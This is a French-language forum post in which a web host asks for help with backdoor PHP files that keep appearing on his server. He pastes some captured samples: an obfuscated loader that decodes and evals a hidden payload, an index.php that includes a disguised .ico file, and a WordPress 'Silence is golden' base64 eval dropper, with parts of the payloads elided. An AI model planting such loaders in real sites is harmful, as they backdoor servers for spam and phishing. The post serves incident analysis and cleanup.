Bonjour,
Sur un de mes serveurs web, je trouve régulièrement des fichiers php créés je ne sais comment ni par qui, dont les noms sont générés aléatoirement et qui ressemblent à ça :
- article.php
- blog50.php
- code69.php
- db.php
- lib.php
- model68.php
- proxy67.php
- session.php
- view.php
Je les retrouves exclusivement au sein de mon arborescence web.
Je dirai même avec une quasi certitude qu’ils sont stoppés par les droits de mon utilisateur.
A l’intérieur de ceux-ci, il n’est plus question d’éaléatoire, mais de contenu obscur de ce type là :
<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);
$plticvb = 4358; function aspqfjzw($yvqlkudjaw, $bugyr){$vcosr = ''; for($i=0; $i < strlen($yvqlkudjaw); $i++){$vcosr .= isset($bugyr[$yvqlkudjaw[$i]]) ? $bugyr[$yvqlkudjaw[$i]]
: $yvqlkudjaw[$i];}
$qcvfoelbn="base" . "64_decode";return $qcvfoelbn($vcosr);}
$fymjvjk = 'A7h6CGzUkvAZPdGne9znvdr0knepYaLGTaDolDfKA7h6CGzUkvAZPdr0kqzheMP0eM8M2RVDKTpFR1go39hHedGfKRE'.
'cOvsHkvshOuGfCbz6vuio3bXM2RVDKTpFR1gheMP0ehznkvg0eMio39eZ8R1WBAoVedGfvuio3bGH37hcCvAZ8R1WBAZFR4fKCbO'.
'ZYbihk9h6kbAZYhgYXtztTfDJKx1FRMpFRJV4YRg1kbko39XZYhgYXtztTfDJ2RVJv'.
'7SJKTpFRMfFR4fKCbOZYbihk9h6kbAZY1iPX1GBGazxbGzTiGggX1tXT'.
'qYJKx1FRMpFRJV4YRg1kbko39XZY1iPX1GBGazxbGzTiGggX1tXTqYJ2RVJ2nYolDfKHAfKBAo'.
'okJVZYbihk9h6kbAZPft8X1GgithHXhGlvUafF78SFdF9FIYUO9aS89tsk91dl5PoObYrF9tfCbN'.
'rlReoKAfKjDfKYRV4Y7ihk9h6kx4MAXrxiXtabGzxGXLH8TAfOU4uOdOd8IFJOT4nObt9CTO'.
'Se9hsOIadOvio3UaSPnD48x1WBAZFRJV4YRV1k7tfOxVzYaLGTaDWBAZ4YRV4P7i'.
'sE7tHCdGLYBf4ThG8TBpFR4fKYRV4YRi5TazRAXrTbnEIeqzsEviZPqf4mxVMF98Ll7arOIacFIt1'.
'FxffO9PI2TsIOdOckIaUFUhIObaS8I4DPUpFRJV4YRgM37zJObD4P7FUvdtqE74WBAZFR4f'.
'KYRV4Y7kq39FfCbz6Y7FUvfEhEas0euAZKAfKYRV4Y5pFRJV4YRV4YRV4e9GfEvP6Y5FfeMi'.
'037zukvYZe5PhkqznkvgpObFhKRe0vJsuEuENkMiDKGD62d1M2ReM2aV1vqFtXhktXhpMxtiXXtzYTqFXPqfoKTpFRJV4YRgzBAZ'.
'FRJV4YRg9EbLIE7h03JgIeqz5kvive9hfObPpkXioeM8ZKAfKYRV4Y5pFRJV4YRV'.
'4YRV4P5PhenVzYatne9tLKR1WBAZFRJV4YRV4YRV4P7t6ObrLeuhUvutqkvGhYBf4AvPnOv1'.
'ZKTpFR4fKYRV4YRV4YRV1ObLs35hUjvFHevGhEbG3vxVzY7FUvfEhEai0OqP03uAZKTpFR4fKYRV4YRV4YRV1edGpkhzDOv'.
'iZYBf4PtzTiGPbiGP3PqFBX1hAGtz7xXrtT1tFixEElDfKYRV4YRV4YRguC7hpkxVZKRiU37tUCRV'.
.
.
.
.
'Y7FUvugpEbEo3hznkbfZP7isE7t3PuVMvx1WBAZ4YRV4YRV4YRV4YRgzBAZ4YRV4YRV4Y5fFRJV4YRV4YRV4kbFZ3nV1k7tfOGp'.
'MObpMvTpFRJV4YRV4YRV4kvsoER4olDfKYRV4Y5fFR4fKYRV4Y7FUvugp'.
'EbEo3hzp3dt1KR1WBAoz';
$yssuh = Array('1'=>'k', '0'=>'v', '3'=>'b', '2'=>'L', '5'=>'H', '4'=>'g', '7'=>'G', '6'=>'u', '9'=>'m', '8'=>'M', 'A'=>'Q', 'C'=>'a', 'B'=>'D', 'E'=>'d', 'D'=>'w', 'G'=>'V', 'F'=
>'N', 'I'=>'j', 'H'=>'f', 'K'=>'K', 'J'=>'i', 'M'=>'n', 'L'=>'5', 'O'=>'Y', 'N'=>'8', 'Q'=>'6', 'P'=>'J', 'S'=>'4', 'R'=>'C', 'U'=>'z', 'T'=>'T', 'W'=>'7', 'V'=>'A', 'Y'=>'I', 'X'
=>'U', 'Z'=>'o', 'a'=>'E', 'c'=>'t', 'b'=>'W', 'e'=>'c', 'd'=>'2', 'g'=>'B', 'f'=>'0', 'i'=>'R', 'h'=>'l', 'k'=>'Z', 'j'=>'e', 'm'=>'P', 'l'=>'O', 'o'=>'p', 'n'=>'y', 'q'=>'1', 'p
'=>'s', 's'=>'h', 'r'=>'x', 'u'=>'3', 't'=>'F', 'w'=>'r', 'v'=>'X', 'y'=>'q', 'x'=>'S', 'z'=>'9');
eval/*mrzwihvbrx*/(aspqfjzw($fymjvjk, $yssuh));
}
Ces fichiers sont parfois accompagnés de couple de fichiers que j’appellerai respectivement “clés de chiffrement” et “fichier chiffré”.
Leurs noms ressemblent à ça :
ls -al
total 40K
-rw-r--r-- 1 me me 34K déc. 11 2016 0fea6_e82cc96108366fe96817da513bb6be22
-rw-r--r-- 1 me me 1,6K janv. 4 2017 8dab73f
Leur contenu ressemble clairement à un fichier chiffré et à une clé de chiffrement.
Ingénieux n’est-ce pas ?
Dans un autre cas, des fichiers index.html sont renommés en index.html.bak.bak, et un fichier index.php est créé à la place avec un contenu de ce genre :
<?php
/*7bf05*/
@include "\x2fh\x6fm\x65/\x48e\x........./\x70u\x62l\x69c\x5fh\x74m\x6c/\x61s\x73e\x74s\x2eo\x6cd\x2fc\x73s\x2ff\x61v\x69c\x6fn\x5f
4\x36f\x37b\x36.\x69c\x6f";
/*7bf05*/
echo file_get_contents('index.html.bak.bak');
Pas bête, quoiqu’un peu plus facile à détecter
Enfin dernier cas recencé, un vieux hack appelé “Silence is golden”, qui sévit sur certains sites Wordpress hébergés. Là encore se sont des fichiers index.php encodé en base64 qui ressemblent à ça :
<?php
function eLDA5Lw($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu){return str_replace($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu);} function HAv1BMPMDV9GePec9($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu){return str_replace($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu);} function S6kqX7K($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu){return str_replace($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu);} $HMlXHjJrnmnrE = 'bnbhrqmStOZh1WudNZDanbhrqmStOZh1WudNZDsnbhrqmStOZh1WudNZDenbhrqmStOZh1WudNZD6nbhrqmStOZh1WudNZD4nbhrqmStOZh1WudNZD_nbhrqmStOZh1WudNZDdnbhrqmStOZh1WudNZDenbhrqmStOZh1WudNZDcnbhrqmStOZh1WudNZDonbhrqmStOZh1WudNZDdnbhrqmStOZh1WudNZDe'; $HMlXHjJrnmnrE = S6kqX7K('nbhrqmStOZh1WudNZD','',$HMlXHjJrnmnrE); $mzjPmd1p2yjjryZg1laOEtoc = 'cerXk0rerXk0eerXk0aerXk0terXk0eerXk0_erXk0ferXk0uerXk0nerXk0cerXk0terXk0ierXk0oerXk0n'; $mzjPmd1p2yjjryZg1laOEtoc = S6kqX7K('erXk0','',$mzjPmd1p2yjjryZg1laOEtoc); $MMYYwQUVZz83roVQx47V = 'rdtPI8uJfLZrerdtPI8uJfLZrvrdtPI8uJfLZrardtPI8uJfLZrl'; $MMYYwQUVZz83roVQx47V = S6kqX7K('rdtPI8uJfLZr','',$MMYYwQUVZz83roVQx47V); $tN6esA = '$Tw4WssJI5EJJgT'; $ACMofAdBhXn7nm0 = $mzjPmd1p2yjjryZg1laOEtoc($tN6esA,$MMYYwQUVZz83roVQx47V.'('.$HMlXHjJrnmnrE.'('.$tN6esA.'));'); $ACMofAdBhXn7nm0('ZXZhcE95QT0i.................KSk7IA==');?><?php
// Silence is golden.
?>#
Alors depuis des mois, je cherche d’où ça peut provenir… d’un CMS pas mis à jour ? Probable… sauf que je n’ai pas la main sur tous les sites que j’héberge, et je n’ai de toute façon personne à incriminer !
A quoi ça sert ? On s’en doute : servir de relais à spam, d’attaque fishing, j’en passe et des meilleures…
La seule parade que j’ai trouvé pour l’instant, c’est de faire une recherche sur la chaine de caractères \x47 qui est semble-t-il une constante dans le cas du premier type de fichier.
Pour le 2e type, une recherche sur les index.bak.bak suffit…
Mais quid des autres hacks encore non décelés ?
Alors en attendant, je fais régulièrement le ménage à grand coup de find et de rm (oui je suis un peu tête brulée des fois), mais pour l’instant, je touche du bois, je n’ai rien cassé.
Dernier cas de figure, un peu plus galère à nettoyer : une ligne de code encodé qui s’insère masquée (avec un grand décallage à gauche) dans un fichier .php utilisé par le CMS… nettoyage à la main obligé !
Pour être franc, ce problème me confronte à aux limites de mes compétences actuelles et si je viens vers vous, c’est pour tenter de les repousser !
Merci d’avance pour l’aide que vous pourriez m’apporter